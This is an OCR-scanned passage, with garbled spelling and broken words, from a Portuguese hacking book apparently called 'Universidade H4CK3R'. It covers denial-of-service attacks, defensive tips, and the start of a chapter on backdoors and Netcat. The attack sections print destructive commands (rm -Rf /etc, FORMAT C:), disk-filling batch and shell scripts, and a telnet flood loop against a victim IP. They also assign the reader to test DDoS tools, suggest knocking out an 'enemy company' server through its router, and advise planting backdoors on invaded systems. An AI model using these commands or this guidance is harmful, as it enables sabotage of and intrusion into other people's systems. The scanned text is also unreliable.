planos arruinados por algum bombeiro com vocao para heri. Uma das maneiras de impedir que os bombeiros entrem em ao impedir que eles saibam
que o prdio est em chamas. Para tal, basta manter todas as linhas do 193
congestionadas com trotes. Emergncias legtimas nunca sero atendidas.
Ainda no mbito telefnico, um belo exemplo de negao de servio pde ser
visto no ftlme Duro de Matar 3: o terrorista interpretado por Jeremy Irons
colocou uma bomba em alguma escola primria do municpio de Nova York.
Alm de no informar polcia em qual escola o aparato estava instalado, o
bandido ainda divulgou a presena da bomba para a mdia. Resultado: a populao inteira da cidade comeou a ligar para os nmeros da polcia, congestionando as linhas e impedindo os policiais de trabalhar.
Negao de servio local
H diversos nveis de DoS. Os mais bsicos so os causados por pessoas com acesso
fsico ao sistema - em outras palavras, literalmente "meter a marreta" no equipamento.
Passar com o caminho por cima da lombada eletrnica para tir-Ia de servio (e livrarse da multa) tambm pode ser considerado um tipo de negao de servio.

1298

Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

Um DoS de nvel um pouco mais alto (no mais na sarjeta, mas ainda mendigando na calada) seria o acesso lgico aos sistemas. Usurios com contas ou
invasores que conseguiram acesso limitado podem tentar destruir o sistema
com comandos nocivos. H diversas maneiras de fazer isso.
~ Apagamento ou destruio: um usurio com uma conta em um servidor
Solaris poderia tentar um rm -Rf. em um diretrio sensvel - o letc, por exemplo. Caso o ambiente seja Windows, nada mais fcil que um FORMATC: ou um
DEi *.*IS/Q.
~ Consumo de recursos: mesmo usurios com acesso muito restrito devem poder rodar programas no sistema - como trabalharo sem eles? Isso
posto, possvel criar programas especialmente talhados para aumentar em
progresso geomtrica o consumo de recursos da mquina - seja por mltiplos acessos a disco, inundao das interfaces de rede com trfego esprio,
multiplicao indeftnida de processos ou mesmo gravao ininterrupta de
dados em arquivos at preencher todo o espao disponvel.
~ Vulnerabllidades locais: um buffer overflow, se bem-feito, pode levar a
acesso irrestrito ou execuo de comandos arbitrrios no sistema vulnervel.
Um ataque mal-feito, entretanto, pode apenas travar o programa. Se o programa for vital para o sistema (como partes expostas do kernel em um Windows
N1) ou oferecer um servio aos usurios externos (como o X-Window ou o
Sendmail em um Unix), o estrago ser maior. Caso o lixo jogado na pilha seja
em quantidade realmente grande, possvel que o sistema todo caia.
~ Acesso irrestrito: usurios com acesso privilegiado (por exemplo, um
administrador de rede insatisfeito com seu salrio) podem fazer diversas
"malvadezas" como reconftgurar servios ou matar processos importantes, alm
de plantar cavalos de tria, bombas de tempo e diversos tipos de vrus.
H diversas ferramentas na Internet que se prestam a esse papel, e mesmo
script-kiddies com um pouco mais de tutano podem criar ferramentas simples
para tal. Quer um exemplo? Em uma mquina Windows, crie um arquivo
DADOS.BATe, dentro dele, coloque:
@ ECHO OFF

ECHO UHackerU > DADOS.DAT


:VOLTA
TYPE DADOS.DAT SYSTEM.DAT
TYPE SYSTEM.DAT DADOS.DAT
GOTO VOLTA:

12991

]Ataque,

defesa e contra-ataque:

Invaso

I Universidade H4CK3R I

Rode o programa DADOS.BAT e voc ver os arquivos DADOS.DAT e


SYSTEM.DATcrescerem indefinidamente. Em um shell Unix to simples quanto.
Experimente o seguinte script (chame-o de dados.sh):
#/bin/sh
touch dados. da t
touch systern.dat
echo llhackerll dados.dat;
while [ 1 = 1 ];
do
cat dados.dat
systern.dat;
cat systern.dat dados.dat;
done;

Execute o programinha (dados.bat no Windows, sh dados.sh no Unix) e


veja o que acontece. Aparentemente nada, mas se voc der um ls no Unix ou dir
no DOS para listar os arquivos (em outro shell ou outra janela do DOS) ver
que o tamanho de DADOS.DATe SYSTEM.DATcrescem exponencialmente
medida que o tempo passa. Rodando por apenas um minuto (60 segundos
exatos) os tamanhos ficaro da ordem de 100 MB cada. Mais dez minutos e
teramos dois arquivos de 1 GB cada, em 60 minutos (uma msera hora) teramos 12 GB ocupados. Os programas em DOS e Unix apresentaram desempenho semelhante quando executados no mesmo hardware.
Observe que nenhum dos 2 scripts precisou de privilgios especiais para
rodar: foram executados diretamente na rea autorizada para o usurio e usaram ferramentas e recursos disponveis no sistema - nada precisou ser instalado. Observe ainda que os quatro problemas listados - apagamento ou destruio, consumo de recursos, vulnerabilidades locais e alteraes por acesso
irrestrito podem muito bem ser implementadas nos V1fUSque chegam a voc
pela Internet e por disquetes e CDs infectados!!! De fato, os V1fUSde computador, desde que surgiram no incio dos anos 80, so um exemplo clssico de
negao de servio local!
Mas tudo isso de muitssimo baixo nvel. Se algum sistema computacional
est merc de operrios braais munidos de marretas e picaretas algum
deve perder o emprego - provavelmente o segurana da portaria e o CEO da
empresa... Entretanto, h alguns tipos de ataques orquestrados externamente
- em outra parte da rede interna da empresa ou mesmo via Internet.
Negao de servio remoto
Alm do annimato inerente aos ataques remotos, h uma inftnidade de mtodos e ferramentas que permitem que um ataque remoto tipo DoS seja des300

Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

truidor. Vamos nos ater mais teoria sobre DoS e indicar algumas ferramentas
para levar tais ataques a bom termo. Mas como , de longe, a modalidade de
ataque mais popular, documentada e comentada da Internet, deixaremos ao
leitor a tarefa de buscar mais informaes a respeito.
H dois "subtipos" de ataques DoS remotos. Alguns deles atacam
vulnerabilidades conhecidas nos sistemas-alvo - como as falhas de RPC que
resultaram na queda de nove dos 13 roteadores-raiz da Internet (todos nos
EUA) em outubro de 2002. O outro grande grupo de DoS remoto procura
exaurir todos os recursos do alvo - seja ocupao de banda da rede, multiplicao descontrolada de processos no servidor HTTP ou inundao de mensagens de e-mail - possivelmente acompanhadas de vrus potencializadores do
ataque, como o Klez e o BugBear. O famoso e ancio Ping of Death - tipo de
ataque usando o utilitrio Ping para gerar pacotes ICMP defeituosos e gigantescos - pertencia a ambos os tipos: gerava uma fragmentao defeituosa
dos pacotes e ao mesmo tempo consumia banda.
Um exemplo de ferramenta de DoS remoto do primeiro tipo o veterano
WinNuke. O programa aproveitava uma falha existente no Windows 95 e no
Windows NT 3.51: caso a porta 139 - nossa velha conhecida
do
compartilhamento de arquivos em redes Microsoft - recebesse pacotes no
vlidos em lugar do protocolo 5MB, o sistema operacional travava. H verses atuais do WinNuke que exploram outras vulnerabilidades - uma vez
que essa foi consertada no Windows 98 e no NT4 - e trabalham tambm com
exausto de recursos.
Para saber mais sobre esse tipo de ferramentas, procure por DoS ou
malformed packet dos attack em seu mecanismo de busca. Inmeras ferramentas para esse e outros tipos de ataque podem ser encontradas em
packetstormsecurity.nl/DoS/ e em www.astalavista.box.sk.
J recaindo no segundo tipo, o tipo mais comum de ataque o SYN Flood ou
inundao de pacotes TCP SYN.Lembra-se de nossa primeira tentativa de spoofing?
Enfivamos um SYNcom IP de origem diferente do nosso. Naquela situao, no
conseguamos estabelecer uma conexo spoofada por dois motivos:
1. Como a mquina atacada no sabia nosso IP verdadeiro, no poderia
responder-nos;
2. A mquina pela qual nos fazamos passar retornava pacotes TCP RST e
acabava com nossa conexo - e com nossa alegria...
No caso de um DoS por SYNFlood, de que nos importa se seremos respondidos ou no? O que vale enviarmos tantos TCP SYN Spoofados quanto possvel, para que a mquina-alvo se ocupe de respond-Ios e no tenha tempo de
responder a outras requisies de outras pessoas. Lembre-se: a vtima vai enviar um SYN-ACKe esperar por ACKs que nunca viro. Isso acabar por impossibilitar a vtima de responder a qualquer outro pedido de conexo ou mesmo
atender a conexes j existentes.

1301 I
1

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Obviamente h outros mtodos para DoS alm do SYN Flood. Um outro mtodo muitssimo usado faz uso de pacotes ICMP Echo Request (ping!) disparados tambm em inundao. Se o IP estiver spoofado, a mquina-alvo no responder ao IP de origem, mas ao IP falso. Uma extrapolao do DoS utilizando
ICMP o famoso Smurf: dispara-se ICMP Echo Request para um grande nmero de mquinas, mas colocando como endereo IP de origem o IP da vtima (e
no um falso). O resultado um grande nmero de mquinas refletindo ao
mesmo tempo uma multido de pacotes ICMP em direo vtima, que sai do
ar praticamente no mesmo instante.

~~,
~

IPx.x.x.2

~-t~~-~

~~
~

..

IP da ltima

'Socorro!
~

Outra possibilidade usar uma mensagem UDP em vez de ICMP.H um servio


chamado echo, funcionando na porta 7 UDp,que simplesmente devolve ao endereo de origem tudo o que chegar por ela. Bem, imagine ento enviar um pacote
UDP spoofado, cujo IP de origem 127.0.0.1 (ou seja, o loopback - em outras
palavras, a prpria mquina) e o IP de destino o IP da mquina. Em uma situao
dessas, o pacote UDP entra em loop dentro da mquina. Um nmero pequeno
desses pacotes basta para comprometer toda a pilha TCP!IP do sistema operacional
e consumir grandes percentagens da banda de rede disponvel. Extrapolando da
mesma forma como no ataque Smurf, pode-se enviar para a porta UDP 7 de inmeras mquinas pacotes com
IP de origem igual ao da vtima.Todas elas devolvero
o presente para a mquina
sob ataque - compromeOrigem: 127.0.0.1
.
tendo a banda novamente.
Destino:IP daVtima
PortaVOP7
Se o hackerusar broadcast,
ento, o que era uma leve
malvadeza passa a ser uma
calamidade. Tal ataque
chamado de Fraggle.

3021
Ataque, defesa e contra-ataque:

Invaso r

Universidade 3ano

Alm desses mtodos que tiram a mquina do ar, h outros tipos bem mais
sutis, e mesmo alguns inusitados. Por exemplo, lembra-se de nossos programas
de brute force? Alguns sistemas, para evitar justamente serem invadidos por
brute force, limitam o nmero de logins permitidos (o nmero varia, mas a
quantidade usual trs). Bem, um programa de brute force pode ser usado,
ento, para bloquear sistematicamente todas as contas do sistema, impedindo
que qualquer usurio-se logue. Trs acessos em cada conta so suficientes, o
que toma a operao extremamente rpida e eficaz.
Pode-se tambm multiplicar conexes a um servio especfico at que todos
os recursos do servidor em questo sejam consumidos - seja na forma de processos abertos, seja por meio de esgotamento de banda. Por exemplo, se queremos derrubar um computador cujo servidor de Telnet esteja ligado, basta rodarmos um script como este em nossa mquina Unix:
while [1=1]

do

telnet ip.da.vtima.aqui &


done;

possvel fazer o mesmo no Windows com um pouco mais de trabalho.


Troque telnet pelo lynx e voc tem uma ferramenta para causar o mesmo
estrago em servidores HTfP. Troque pelo comando maU e voc poder encher
o servidor SMTp' etc. H ainda a possibilidade de fazer o mesmo com ping,
Redes Microsoft, SSH, FTP (servidores FTP do Novell Netware so especialmente apetitosos...), Usenet, Finger, MS-SQL,MS-Access,ICQ...Acho que voc j
"pescou" a idia.
Apesar dos ataques acima descritos poderem ser feitos manualmente por
hackers de verdade, existem algumas ferramentas que facilitam e automatizam
esse tipos de ataque - e os lammers as adoram. Tais ferramentas podem ser
encontradas
aos montes nos mesmos lugares anteriormente
citados:
packetstormsecurity.nl/DoS/
e em www.astalavista.box.sk.
No endereo
www.astalavista.com/library/ddoslbasics/intro.shtml
h um tutorial interessante (em ingls) sobre diversos tipos de pequenos ataques de DoS local e
remoto que podem ser tentados. Estude todos eles, procurando na Internet
exemplos e informaes adicionais sobre cada um.
Mas h algo muito mais malvado que DoS simples: os ataques por negao de
servio remoto distribudo, ou DDoS.

Negao de Servio Remoto Distribudo


Os ataques Smurf e Fraggle j so maneiras efetivas de ampliar ataques originados em um nico ponto - por isso mesmo so chamados de "lentes de aumento". Entretanto, mesmo se utilizando dessa lente, a banda de rede disponvel para o atacante limitada, e ele no pode manter um ataque com muitos

I 303 I
1

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R

pacotes para cada mquina amplificadora e manter, ao mesmo tempo, muitas


mquinas amplificadoras enviando esses mesmos pacotes vtima.
Para resolver a parada, foi desenvolvido um certo tipo de ataque em que os
pacotes destinados s vtimas no saem da mquina do hacker, mas de computadores zumbis controlados remotamente por ele. Nesses computadores, o
hacker instala certos tipos de cavalo de tria ou vtrUs que respondem a comandos externos e funcionam como fonte geradora do ataque so os chamados
agentes ou zu.m.bis.O "contgio" d-se pelos mesmssimos mtodos j estudados at aqui - invaso, distribuio camuflada e mesmo cooperao. O atacante possui um ou mais programas mestre, que controlam os agentes.
Lembra-se de quando dissemos que a invaso de sistemas menores poderia
ser usado como trampolim para chegar vtima principal? Pois bem, esta
uma das situaes. O atacante leva semanas, s vezes meses, para invadir pequenos sistemas computadores pessoais e servidores de pequenas empresas sem que seu interesse
imediato seja tais mquinas. Elas sero usadas, isso sim, como
zumbis num ataque a
grandes companhias
(1234 1234 1234...), e
para isso necessrio
que os softwares adequados estejam instalados nelas. O hacker
pode, inclusive, consertar algumas coisas
e at atualizar a mquina do indivduo,
caso isso seja necessrio para que o ataque
principal seja levado a
termo.
Uma vez instalado os
agentes, o hacker pode
iniciar um ataque a partir do mestre:
"Salvem-me!"
3041
Ataque.defesa e contra-ataque: Invaso [

Universidade 3ano

Imagine agora que o hacker mais tarimbado. Um ataque DDoS pode ser
sofisticado com a distribuio de diversos mestres, controlados tambm
distncia pelo invasor. Ele pode tanto usar ferramentas especiais para tal, j
existentes, como tambm usar coisas do sistema operacional como o Netcat
ou o Telnet.

"Salvem-me!"

1305

]Ataque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Agora, uma pitada a mais de maldade: cada um dos agentes pode usar lentes
Smurf ou Fraggle para multiplicar sua fora. Um ataque com essa configurao devastador!

13061
Ataque, defesae contra-ataque: Invaso [

Unive.rsidade 3ano

Masters and Slaves


H uma infinidade de ferramentas para todos os ataques 000 e DDoS descritos aquLA maioria pode ser encontrada nos dois sites indicados anteriormente:
packetstormsecurity.nl/DoS/
e www.astalavista.box.sk.
Outra seo,
packetstormsecurity.nl/distributed/,
trata de ferramentas e tutoriais DDoS.
Procure, nos sites indicados e em seu mecanismo de busca preferido, informaes e download das seguintes ferramentas:
. Fapi
. Targa
. Blitznet
. TrinOO/WinTrinOO
. TFN/TFN2k/TFNWin
~ Stacheldraht
~ Shaft
~ Trank
~ Trinity
Como tarefa para casa, o estimado leitor ter que ler a documentao e testar todos, um a um, e descobrir em quais categorias (s vezes mais de uma)
cada um deles se encaixa.
Outra tarefa: procure informaes sobre ataques a roteadores. Voc ficar
surpreso em saber que por vezes mais fcil atacar equipamentos intermedirios da Internet do que o alvo fmal. Se est muito difcil tirar do ar o servidor
daquela empresa inimiga do meio-ambiente, talvez o roteador ligado a ele seja
o lado mais fraco - e, de quebra, deixa a rede interna deles sem acessos
Grande Rede.

Defesa e contra-ataque
Bem, l vamos ns. Este foi um captulo longo. Procuramos colocar nele o
bsico do bsico sobre ataques a computadores e redes. Ustamos aqui, portanto, algumas dicas sobre o que procurar e por onde comear para segurar seus
sistemas e evitar que sejam atacados com essas tcnicas.
Recomendaes aplicveis a todos os tipos de ataques
O mais importante! Deixe ativados apenas os servios que est realmente
usando. Se o servidor apenas de HTTP e FTp, desabilite Finger, Telnet, SSH,
SMTP,POp, IMAP,Quake...
Configure corretamente seu fIrewall, e tenha sempre mais de um tipo, pelo
menos um diferente para cada lado da DMZ. Prefira f1ltros de pacote por estado de conexo (Stateful Packet Filters) e fIrewalls do tipo Proxy. Mesmo com
os servios desabilitados nos servidores, feche as portas correspondentes no

13071
1

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

firewall para evitar trfego fantasma (por exemplo, de backdoors) e ACK


Scanning. No tenha preguia: faa uma tabela de regras de ftltragem realmente longa e abrangente, preferencialmente associando portas e endereos e no
simplesmente bloqueando.
Mantenha sempre seus sistemas atualizados para evitar ser invadido por
vulnerabilidades conhecidas e bem documentadas. Ateno especial aos hotfixes
e Service Packs da Microsoft - o que no quer dizer que seus sistemas Unix e
Novell precisam de menos cuidado.
Por padro, crie usurios com o nnimo possvel de privilgios e v aumentando-os medida que seja preciso. Caso o usurio no precise mais do privilgio, no hesite em cass-Io. Crie polticas severas e consistentes de contas, que
incluam nomes de login no-bvios, gerenciamento ostensivo de contas ativas,
desativao imediata (ou antes, cancelamento) de contas ociosas, senhas fortes
contendo letras, nmeros e smbolos e regras para alterao de senhas em
menos de 30 dias. Alm disso, um documento interno oficial, assinado pelo
funcionrio, deve regular claramente os equipamentos autorizados a conectar
rede e prever punies caso a rede seja invadida ou comprometida por mau
uso ou descuido do usurio.

War DiaLingeBrute Force


Em primeiro lugar, tente atacar a si mesmo com ferramentas de fora bruta.
Se voc no deveria possuir modems ou acessos pessoais de alta velocidade
ligados sua rede, esta uma boa maneira de descobrir. Ao menor sinal de
modem discado, cable modem ou aDSLno autorizados em seu sistema, remova-os imediatamente!
Para sistemas acessveispor Internet ou por conexo via terminal, a recomendao
no dar acesso a todas as contas por default. E cuidado com as contas padro do
sistema! Obrigatoriamente, os acessos devero ser feitos por VPNs criptografadas.
No caso de seu negcio ou instituio realmente necessitar de modems e
logins externos via Internet ou SSH, a poltica de senhas e acesso da empresa
deve ser seguida risca, e as penalidades aplicadas de forma exemplar.

Estouro de pilha
No h muito o que dizer alm do bvio: se voc programador, sua obrigao escrever cdigo imune a buffer overflow. Mesmo sendo inerente s linguagens de programao, possvel implementar rotinas de verificao que
barram injeo maliciosa de dados.
Se voc administrador de sistemas ou mesmo usurio domstico, mantenha
seu sistema sempre atualizado com os ltimos "remendos" publicados pelos
fabricantes de seu software. E no se concentre apenas nos servidores: as estaes tambm so vulnerveis e portas de entrada para sua rede.

13081
Ataque, defesa e contra-ataque: Invaso [

Universidade 3ano

Quebra de senhas
Para comear, use ferramentas de quebra de senha em voc mesmo. S termine
quando estiver satisfeito com o resultado - que deve ser, por acaso, zero: nenhuma
senha a descoberto. Faa esse teste periodicamente, pelo menos com o dobro da
freqncia com a qual as senhas devem ser mudadas. Se a poltica da empresa obriga
os usurios a mudar a senha a cada 30 dias, tente quebrar as senhas do sistema pelo
menos a cada 15 dias.
O mtodo mais eficiente para barrar o brote force limitando o nmero de logins
e bloqueando temporariamente (e no em definitivo) as contas do sistema. Isso cria
um problema de DoS, mas ainda melhor que ter seus dados comprometidos.
Evite o roubo de senhas a todo custo, e dificulte ao mximo a vida do cracker que
porventura consegu-Io. Vale desabilitar os 1M Hashes no Windows NT/2k, criar um
servidor de login centralizado, com criptografia e segurana (como o Kerberos), usar
Shadow Passwords no Unix (tambm com login centralizado via LDAP+Kerberos) e
mesmo criptografar os sistemas de arquivos.
As severas polticas de senhas descritas acima tambm se aplicam neste caso. Bem
como campanhas de consientizao dos usurios para os males das senhas fracas e
do comportamento de risco - senhas no devem ser escritas em lugar algum, muito
menos divulgadaso NUNCA!
Por fim, a instalao de softwares que rejeitam senhas fracas no ato do cadastro do
usurio (e posterior troca de senha peridica - sua empresa instituiu isso, no ?)
um ponto-chave para evitar que os usurios coloquem em risco toda a rede por
colocar o nome do cachorro como senha pessoal.

War Driving
Criptografe sua rede e ative o WEP.Ponto fmal.

SQl Injections e Cookie Poisoning


Crie dispositivos de verificao em todos (repito: todos) os campos de todos (novamente repito: todos) os formulrios do seu site na Internet. Bloqueie sumariamente caracteres perigosos como =,' e", *,% e _oUma boa poltica liberar apenas letras
e nmeros e bloquear todo o resto.
Use sempre o mtodo POST para envi-Ios ao script processador, uma vez que o
mtodo GET deixa informaes importantes na URL. Se possvel, criptografe os campos antes de envi-Ios. Melhor ainda: use conexes HTTPS/SSLcom certificados emitidos por empresas idneas e criptografia forte.
No caso de cookies, faa um controle de sesso coerente, com session IDs preferencialmente criptografados e, se possvel, dinmicos - mudando a cada pgina acessada.
No se deve confiar apenas na criptografia do SSL: criptografe tudo vrias vezes
ANTES de enviar por HTTPS (que tambm criptografado).

1309 I

]Ataque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R

Sniffing, Spoofing e Hijacking


Em primeiro lugar, coloque f1ltros anti-spoof e detectores de sniffers em todos os pontos de entrada, sada e passagem (roteadores entre sub-redes) de sua
rede. IDSs so bem vindos e grandes companheiros dessas ferramentas.
Mesmo no sendo impeditivo para a ao do hacker, um agente complicador:
instale switches e bridges em vez de hubs e segmente sua rede ao mximo.
Alm do benefcio do desempenho, isso cria uma camada a mais de dificuldade
para o invasor. Se possvel, divida a rede em subredes e coloque roteadores
com f1ltros de pacotes muito bem estruturados para interlig-Ias. Dependendo
do nmero de pessoas, tempo, oramento e tamanho da rede, possvel configurar estaticamente as tabelas MAC dos switches e bridges em cada uma de

suas portas. Comisso,o equipamento fica imune aARPSpoofmge MACFlooding .


(mas no ao entupimento da rede ou mesmo negao de servio possivelmente provocados por eles). Mas prepare-se: uma tarefa herclea...
Outro mtodo para dificultar (e muito!) a ao dessas ferramentas a
criptografia sistemtica de toda a rede. Toda ela. Use tudo o que estiver mo,
cada qual para sua funo especfica: PGP/GPG, IPSec, HTTPs, SSH (use sempre SSH verso 2!). J vi projetos de VPNs com vrios nveis de tunelamento,
todos criptografados. Leve em conta o fato de que cada nvel criptogrfico tem
um impacto negativo fenomenal no desempenho total da rede e use o bom
senso para dosar performance e segurana..
Implemente DMZs no s entre a rede corporativa e a Internet (isso miopia!), mas tambm diversos nveis de DMZs e mesmo DMZs interdepartamentais!
Verifique a predictabilidade dos nmeros seqenciais TCP de seus computadores. Mquinas Windows 9x tornam isso brinquedo de criana, mquinas
FreeBSD e Solaris, por outro lado, so famosas por serem praticamente
randmicas nesse ponto.
Se estiver usando sistemas Unix, esquea os Unix Trusts. Alm deles, outro
esquema de confiana muito ruim o que a Microsoft chama de PDC/PDC
Trusted Relations no Windows NT. Evite-os completamente. Prefira sistemas
modernos como o Novell eDirectory ou as inmeras implementaes do LDAP,
incluindo a o AOS da Microsoft. Mas use sempre um esquema de criptografia.
Se nada disso estiver disponvel, mais seguro deixar o usurio logar-se individualmente em cada um dos sistemas da empresa do que ter um sistema de
autenticao centralizado cujo esquema de confiana falho.

Negao de Servio
IDSs ajudam a detectar ataques DoS locais - a no ser que o ataque destrua o
prprio IDS, o que bem possvel e mesmo provvel.
As defesas contra IP Spoofing, ARP Spoofing e MAC Flooding tambm ajudam aqui. Tabelas MAC estticas em switches idem.

1310 I
Ataque.defesa e contra-ataque: Invaso

Universidade 3ano

Sistemas com a ltima atualizao liberada pela fabricante so menos expostos a DoS baseados em vulnerabilidades conhecidas. Alguns sistemas possuem
patches que os tomam inclusive imunes a ataques do tipo SYN Flood e Smurf.
Se possvel, compre mais velocidade para sua conexo e tenha sempre rotas
alternativas (e secretas!) caso a conexo principal esteja inundada. Adequao
de trfego (Traffic Shape) tambm desejvel.
Para o DDoS, uma nica recomendao, alm das anteriores: mantenha os
zumbis longe de suas mquinas! Faa uma auditoria peridica em todos os
computadores procura de portas suspeitas ou programas no-autorizados.
Uma ltima dica: Echolot (echolot.sourceforge.net).

I 311 I
Ataque, defesa e contra-ataque:

Invaso

Ataque, defesa e
contra-ataque:

Manutenco
.
Captulo
"Now /'m coming through the backdoor
How did / get here /00 / mind
/n an eerie sort ofway
/ sense you reaching...
Wil!you linger a little longer
While / wonder'
TadpoLe,

"Backdoor"

i. -Entro livremente
por sua porta de trs I Mas como
cheguei a ela? I At me importo I mas desprezo voc I
Eu o sinto me alcanar ... I Voc ficar por ai um pouco
mais?

I Eu

fico

aqui-.

Do single

Backdoor.

de

i999.

I Universidade

H4CK3R I

Ganhar acesso a um sistema qualquer - seja ele um web site, uma rede, um
computador Macintosh ou um servidor Novell - no bolinho. Em todos os
captulos preparatrios e especialmente no anterior, vimos alguns mtodos de
como preparar o terreno e ganhar acesso aos nosso alvos. No todos, no muitos, sequer os mais importantes: a fIm de ilustrar os passos a serem seguidos,
vimos apenas um ou outro exemplo.
No tome este livro, portanto, como uma enciclopdia de ataques. Em vez
disso, use-o como cartilha para aprender o b-a-b, e v pesquisando e estudando nos recursos indicados em todos os captulos. Leituras adicionais so
muito importantes. A srie Hackers Exposed (McClure, Scambray e Kurtz,
editora Makron, za edio em portugus e 4a em ingls), composta de quatro
livros - Hackers Exposed, HE Windows 2k edition, HE Linux edition e HE
Web edition - uma excelente companheira para nossa pequena obra e enfoc
o assunto de maneira diferente. Enquanto tentamos mostrar a mecnica da
coisa, a srie HE oferece um verdadeiro "dicionrio" de ataques. Mas no descuide do Bugtraq!!!
Uma vez dentro dos intestinos de nossa presa, hora de cuidar de manter seu
acesso e, possivelmente, bloquear acesso a outros candidatos a invasor que,
por descuido, podem pr a perder seus meses de estudo e esforo. Cuidemos,
ento, da manuteno de nossa permanncia no seio da vtima por longos anos.

Backdoors
Toda casa possui uma porta de trs (ok, ok, alguns apartamentos mais populares [apertamentos???] possuem apenas uma passagem para acesso ao imvel - e
passa pela sala de estar. Fazer o qu...). Pela porta de trs trazemos a feira, os
empregados da casa tm acesso ao interior para trabalhar, os operrios trazem
ferramentas e material para reformar o banheiro e samos com o cachorro para
passear. , portanto, apropriadamente chamada de porta de servio.
Por outro lado, pela porta da frente recebemos nossas visitas. Se for um imvel comercial, por ela tambm que recebemos nossos clientes. A decorao,
os objetos e o prprio espao so diferentes nos ambientes atendidos pelas
duas portas. Portanto, apropriado dizer que ambas as portas possuem funes diferentes, e, portanto, prestam-se a atividades diversas.
Em um sistema computacional, muitas vezes necessrio tambm possuir
vrias formas de acesso. O ambiente operacional que os usurios comuns conhecem desenvolvido de modo a tornar a utilizao do sistema mais fcil e
direta. Por outro lado, devem haver formas de os administradores acessarem os
sistemas tambm e, assim, desempenhar suas tarefas, muitas vezes at simultaneamente, sem incomodar o usurio.

3141
Ataque, defesa e contra-ataque:

Manuteno

Universidade 3 ano

H diversas maneiras de chegar a isso. Em sistemas Unix, o administrador


pode simplesmente logar-se remotamente como root (via SSH v2, nunca via
Telnet!!!) e fazer o que for preciso. Em sistemas Windows e Macintosh, como
no h essa facilidade por padro, possvel instalar programas que permitem
o mesmo controle. Entre eles, podemos citar CarbonCopy, LapLink, ControlIT,
o SMS da Microsoft e talvez o mais conhecido de todos: o pcAnywhere, da
Symantec. Por meio desses programas, administradores entram pelas "portas
de trs" nos sistemas dos usurios e fazem o que deve ser feito.
H um outro uso para portas de trs em computadores domsticos e estaes de
trabalho corporativas: softwares espies. Existem diversos softwares (como o I
Spy e o WmKeylogger) desenvolvidos para que cnjuges ciumentos, pais extremados e empresrios paranicos possam vigiar o que suas caras-metade, filhos ou
empregados andam fazendo. Passando longe da discusso sobre os aspectos legais,
morais e ticos envolvidos, podemos afirmar que esses programas tambm abrem
diversas portas de trs nos sistemas em que esto instalados.
A economia de tempo, dinheiro e recursos gerada por essa tecnologia enorme. Bom, no? Novamente, nem tanto. E se hackers mal-intencionados (lembrese: hacker no sinnimo de bandido, portanto o qualificador apropriado...)
conseguirem acessar seus sistemas por meio dessas portas de trs? Bem, a
temos um problema.

Portas de trs maliciosas


A soluo radical para o problema exposto acima no usar tais programas
de forma alguma. Uma soluo mais razovel - mas, acredite, muito vulnervel
- aplicar todos os patches de segurana recomendados pelo fabricante, usar
senhas fortes, criptografia etc., ete., etc. (voc j est careca de saber...).
Entretanto, mesmo em sistemas nos quais o administrador no instalou
esse tipo de programa, a ameaa existe. Ao chegar ao fim do captulo anterior estvamos dentro do sistema da vtima, certo? Bem, a primeira coisa a
fazer instalar um ou mais backdoors para podermos entrar novamente no
futuro, pois certamente o dono do sistema ir tampar o buraco por onde
passamos. Adicionalmente, podemos corrigir todas as vulnerabilidades das
mquinas que invadimos, impedindo que kiddies descuidados se denunciem e nos levem de embrulho.
J falamos bastante sobre backdoors para Windows nos captulos sobre
Vulnerabilidades. Em Vulnerabilidades I, inclusive, mostramos passo a passo
como configurar um Back Orifice 2000 (ou B02K) para controlar mquinas
alheias. No caso desses pacotes prontos, no h muito mais o que falar: so
peas complexas por seus muitos recursos, mas ao mesmo tempo so uma
grande coleo de rotinas simples. Um programador com conhecimentos de
parcos a moderados em alguma linguagem moderna, como Java, Visual Basic,
1315

]Ataque,

defesa e contra-ataque:

Manuteno

I Universidade

H4CK3R I

C#, C++ ou Objective Pascal (usada no Delphi/Kylix) poderia escrever em poucos dias backdoors to ou mais completos e complexos que o B02K. NetBus,
Sub7,AlienToy... A lista vasta. Mesmo programas de administrao srios (em
tempo: o B02K foi desenvolvido como aplicao sria!) como o pcAnywhere
ou o VNC podem ser usados "para o mal".

Novamente: "At tu, Brutus?"


Alm das ferramentas especficas j exaustivamente descritas ao longo do livro, o prprio sistema operacional prdigo em recursos que podem ser usados
a favor do invasor - e contra o dono da mquina. Como j cansamos de ver,
servidores de Telnet e Ffp podem usados com novas contas, especialmente criadas pelo hacker no sistema para posterior invaso (pela porta de frente, hehehe...).
Cada sistema possui sua idiossincrasia e seu conjunto de programas que podem
ser usados para fabricar um backdoor. Alm de nao ser preciso instalar nada,
programas j existentes no computador raramente levantam suspeitas.
Mas h um pequeno utilitrio, presente em todos os Unix e disponvel para a
famlia WinNT, que especialmente interessante para criar backdoors improvisados. Chamado de Netcat (www.atstake.com/researchJtools/network
utilities),
permite inmeros truques em redes privadas e na Internet - e pode ser usado
como backdoor tambm!
Apesar de possuir verses para Windows, o nome Netcat veio de seu primo
cat, o comando no Unix para mostrar o contedo de um arquivo no terminal.
Observe:
$ cat Buttix
Hey Beavis, I'm a Unix string!!!

$
O comando cat jogou o contedo do arquivo Buttix na tela do terminal. Da
mesma forma, o comando nc pode jogar, de um lado a outro da conexo (ou
seja, no necessariamente
na tela), o que uma determinada porta de um computador distante est cuspindo na rede.
A sintaxe mais simples nc ip.do.computador.monitorado
porta.
Por exemplo, o comando
C:\> NC 192.168.1.11 80

quando emitido em um computador Wmdows, vai conectar-se e monitorar tudo


o que sai pela porta 80 da mquina cujo IP 192.168.1.11. Obviamente, a porta 80
tem de estar aberta, caso contrrio o Netcat abortado. A sintaxe idntica em
uma mquina Unix. Na verdade, ele age como um cliente de mo dupla - recebe e
tambm transmite dados. Nesse mesmo exemplo, ao emitir o comando, nada acontece - o outro lado est esperando por uma ordem. Sabemos que trata-se de um
servidor Web, portanto basta enviar o comando GET (sim, precisa estar tudo em
maisculas). Aps o comando, o cdigo-fonte HTMLda pgina inicial do servidor
H1TP ser mostrado na tela. Pode-se usar o Netcat para conectar a volumes 5MB
1316

1
Ataque, defesa e contra-ataque:

Manuteno I

Universidade 3 ano

